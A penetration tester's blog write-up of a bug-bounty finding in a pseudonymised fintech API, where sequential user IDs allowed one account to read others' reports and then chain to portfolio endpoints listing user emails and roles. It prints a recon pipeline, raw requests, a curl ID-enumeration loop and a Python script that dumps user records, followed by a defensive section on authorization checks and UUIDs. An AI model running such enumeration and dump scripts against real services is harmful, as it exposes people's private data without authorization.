How Changing a Single Number Exposed an Entire User Database (An IDOR Story)

How Changing a Single Number Exposed an Entire User Database (An IDOR Story)

November 11, 2025 7 min read

A real-world breakdown of an IDOR vulnerability that escalated from a simple user ID change to full admin data exposure. Learn how it happened, why it worked, and how to prevent it.




Disclaimer (Educational Purpose Only)
This article retells a real-world security researcher’s authorized finding for educational and defensive learning.
The objective is to help developers, pentesters, and product teams understand how an Insecure Direct Object Reference (IDOR) can escalate to a full data breach - and how to prevent it responsibly.
Do not test or reproduce such findings on live systems without permission.


🧩 Introduction

Sometimes, the biggest discoveries come from the smallest mistakes - like typing one wrong number.

That’s exactly what happened to a researcher who stumbled upon a critical Insecure Direct Object Reference (IDOR) vulnerability in a fintech platform we’ll call CoinFlow.

It started as a harmless curiosity: changing a user_id value in an API request.
But it ended with access to over 50,000 user records, including admin reports and sensitive PII.

In this article, we’ll explore how that one parameter became the master key to an entire company’s data - and how to defend against this in real-world web applications.


Act 1: The “Boring” API That Wasn’t 🕵️‍♂️

Every great bug bounty story starts the same way: boredom, caffeine, and curiosity.

The researcher was testing CoinFlow, a financial management startup with a public API. Reconnaissance was thorough - a mix of automation and manual sleuthing.

Recon Symphony

echo "coinflow.com" | subfinder -silent | httpx -silent | gau | grep "api" | sort -u > api_endpoints.txt
Bash

Most endpoints were predictable:
/user/profile, /api/version, /status/healthcheck.
But one stood out:

https://api.coinflow.com/v2/transaction/sequences/<user_id>/analytics/export?format=pdf
Plain text

“Transaction sequences”? “Analytics export”?
That endpoint smelled like complexity - and where there’s complexity, there’s often broken authorization logic.

When accessed directly, the server returned a 401 Unauthorized, which was expected.
After logging in as a test user (testuser_123), the researcher captured the request in Burp Suite:

GET /v2/transaction/sequences/21745/analytics/export?format=pdf HTTP/1.1
Host: api.coinflow.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP

The response was a clean PDF report of the user’s transaction analytics.
Everything looked normal… until one small detail caught the eye:

user_id=21745

And curiosity whispered: “What if I change that number?”

An illustration of a hacker changing one number in a URL, which is visualized as a digital key unlocking a large vault of data.


Act 2: From “No Way” to “Oh My God” - The IDOR Cascade 🎰

Changing 21745 to 21746 should have triggered a permission error.
Instead, it unlocked another user’s report.

Payload 1: Simple Increment Test

GET /v2/transaction/sequences/21746/analytics/export?format=pdf
HTTP

Result: Full PDF report of another user.
Impact: Horizontal privilege escalation - one user accessing another’s data.

But that was just the beginning.

Step 2: Horizontal Escalation Confirmed

To verify it wasn’t a caching fluke, the researcher created a second test account (testuser_456) with ID 22891.

Logged back in as testuser_123, they accessed:

GET /v2/transaction/sequences/22891/analytics/export?format=pdf
HTTP

It worked again.
This confirmed broken access control across users - a textbook IDOR.

Step 3: The Vertical Escalation (Finding Admin IDs)

If user IDs were sequential, admin IDs might be too.
So began the fuzzing phase:

for id in 1 10 100 1000 10000; do
  curl -s -H "Authorization: Bearer TOKEN" \
  "https://api.coinflow.com/v2/transaction/sequences/$id/analytics/export?format=pdf"
done
Bash

Result:
user_id=10000 didn’t just return any report - it returned:

“System Administrator Quarterly Transaction Analysis”

💥 Jackpot. The researcher had accessed admin-level financial analytics.


Act 3: The Plot Twist - Chaining Parameters 🔄

The real brilliance came next - a method the researcher called “Parameter Chaining” or “Object Bridging.”

Inside the admin PDF, there was a field called:

"managed_portfolios": [55001, 55002, 55003]
JSON

These looked like portfolio IDs, not just random numbers.

Using recon data, the researcher found another API endpoint that referenced portfolios:

https://api.coinflow.com/v1/portfolio/<portfolio_id>/users
Plain text

Naturally, the next step was to connect the two.

Payload 3: Object Bridging Attack

GET /v1/portfolio/55001/users
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP

Response:

{
  "portfolio_id": 55001,
  "portfolio_name": "Global Investment Fund Alpha",
  "users": [
    {"user_id": 21745, "email": "jane.doe@email.com", "role": "user"},
    {"user_id": 21746, "email": "john.smith@email.com", "role": "user"},
    {"user_id": 10000, "email": "admin@coinflow.com", "role": "admin"},
    ...
  ]
}
JSON

By chaining an IDOR from the analytics endpoint with a second insecure endpoint, the researcher dumped every user linked to the admin portfolio - including their emails and roles.

This was no longer “view one unauthorized report.”
This was total data exposure.

A diagram visualizing object chaining, showing two API endpoints (analytics and portfolios) connected like a bridge, allowing an attacker to cross-reference objects.


Act 4: Automating the Apocalypse 🤖

At this point, automation became inevitable.

The researcher built a small Python PoC to demonstrate the attack chain.

Proof of Concept (Defensive Illustration)

import requests, json

HEADERS = {'Authorization': 'Bearer LOW_PRIV_TOKEN'}
BASE_URL = 'https://api.coinflow.com'

def leak_portfolio_ids():
    admin_id = 10000
    res = requests.get(f"{BASE_URL}/v2/transaction/sequences/{admin_id}/analytics/export?format=json", headers=HEADERS)
    return res.json().get('managed_portfolios', [])

def dump_users(portfolio_ids):
    all_users = []
    for pid in portfolio_ids:
        r = requests.get(f"{BASE_URL}/v1/portfolio/{pid}/users", headers=HEADERS)
        all_users.extend(r.json().get('users', []))
    return all_users

if __name__ == "__main__":
    pids = leak_portfolio_ids()
    users = dump_users(pids)
    print(f"[+] Found {len(users)} users across portfolios")
Python

The result?
A full export of 50,000+ user records across multiple portfolios, including admin accounts.

A conceptual image of Python code executing, which results in a massive flood of multiple user data records being returned, symbolizing automated data exfiltration.


Act 5: The Payday and The Patch 💰

The researcher responsibly reported:

  1. The base IDOR in /analytics/export
  2. Vertical privilege escalation via sequential IDs
  3. The chained exposure across portfolio endpoints

Within hours, CoinFlow triggered their incident response plan, locked down all endpoints, and implemented layered authorization.

The Fix Included:

  • ✅ Authorization middleware on every API route
  • ✅ UUID-based object identifiers instead of sequential integers
  • ✅ Role-based access validation for portfolio queries
  • ✅ Audit logs and rate limiting for sensitive endpoints

The bounty? $5,000 for a single number change.


Defensive Deep Dive: Why It Happened (and How to Prevent It)

This case wasn’t just luck - it revealed common systemic issues in API security.

Root Cause Breakdown

Weakness Description Risk
Missing authorization layer API didn’t validate if user_id matched session identity Cross-user data access
Predictable object IDs Sequential numeric IDs enabled easy enumeration Horizontal & vertical IDOR
Shared object references Admin data leaked other privileged IDs Chaining to larger exposure
No data scoping Endpoints didn’t enforce “least privilege” Global exposure through one token

An infographic displaying an IDOR prevention matrix, outlining key defensive measures such as using UUIDs, enforcing Access Control Lists (ACLs), and performing authorization checks.


Defensive Engineering Blueprint 🧱

To defend your APIs from similar “master key” flaws, implement the following controls:

🔐 1. Enforce Server-Side Authorization

Validate who is requesting what on every object-level request:

if request.user.id != target.user_id:
    abort(403, "Unauthorized access")
Python

🧩 2. Use Non-Predictable Identifiers

Replace integers with UUIDs or hashed keys:

import uuid
user_id = uuid.uuid4()
Python

This alone kills most enumeration-based IDORs.

⚙️ 3. Implement Object-Level ACLs

Every object (portfolio, transaction, user report) should have a scope list:

if request.user.id not in portfolio.allowed_users:
    abort(403, "Access denied")
Python

🚦 4. Add Rate Limiting & Logging

Detect automated scraping or fuzzing:

X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 900
Bash

Monitor logs for suspicious sequential requests.

🧱 5. Adopt Zero-Trust APIs

Treat every endpoint as untrusted - even if internal.
Authenticate every request, validate every parameter, and assume nothing.


Troubleshooting & Pitfalls

❌ Mistake 1: “We Use JWT, So We’re Safe.”

Authorization != Authentication.
JWT ensures the user is logged in - not that they’re authorized for the resource.

❌ Mistake 2: “It’s Internal API, Not Public.”

Most breaches start internally.
Treat internal APIs as public-facing from a security design perspective.

❌ Mistake 3: “We Use Obscure IDs.”

Obscurity isn’t security. Even long numeric IDs can be guessed.

✅ Solution:

Strong authorization checks + UUIDs + logging.
No shortcuts.


Real-World Parallels

This bug isn’t isolated. IDOR is consistently the #1 OWASP vulnerability under Broken Access Control.

Notable Industry Cases

  1. Facebook (2020) – An exposed object ID let attackers fetch private photos.
  2. Instagram (2021) – IDOR in GraphQL endpoint revealed hidden posts.
  3. Tesla (2022) – Vehicle telematics API allowed cross-user data queries.

These reinforce one lesson:

Authorization must be explicit - never implied.


Step-by-Step Prevention Checklist ✅

Step Defense Mechanism Example
1 Verify object ownership Check request.user_id == object.user_id
2 Use UUIDs uuid4() instead of incremental IDs
3 Implement RBAC Assign roles and enforce permissions
4 Validate indirect references Map indirect IDs to authenticated users
5 Secure API endpoints Lock down all /v1 and /v2 routes
6 Log every 403 Investigate authorization rejections
7 Review third-party integrations Least privilege across microservices

Defensive Perspective Summary

  • IDORs aren’t just minor bugs - they’re data breaches waiting to happen.
  • Sequential IDs = predictable pathways for exploitation.
  • Always enforce object-level authorization across every API function.
  • Security isn’t about adding WAFs; it’s about designing with least privilege from day one.

Final Thoughts

This entire story began with a single digit - changing 21745 to 21746.

But beneath that one number lay an architectural flaw: a missing authorization check.
That’s the nature of modern vulnerabilities - small oversights, massive consequences.

For developers:
Build APIs with least privilege and explicit validation.

For security researchers:
Keep exploring responsibly. Every “boring” endpoint might hide a master key.

A minimalistic motivational poster with the text: "One number can change everything – secure your APIs."

Join the Security Intel.

Get weekly VAPT techniques, ethical hacking tools, and zero-day analysis delivered to your inbox.

Weekly Updates No Spam
Herish Chaniyara

Herish Chaniyara

Web Application Penetration Tester (VAPT) & Security Researcher. A Gold Microsoft Student Ambassador and PortSwigger Hall of Fame (#59) member dedicated to securing the web.

Read Next

View all posts

For any queries or professional discussions: herish.chaniyara@gmail.com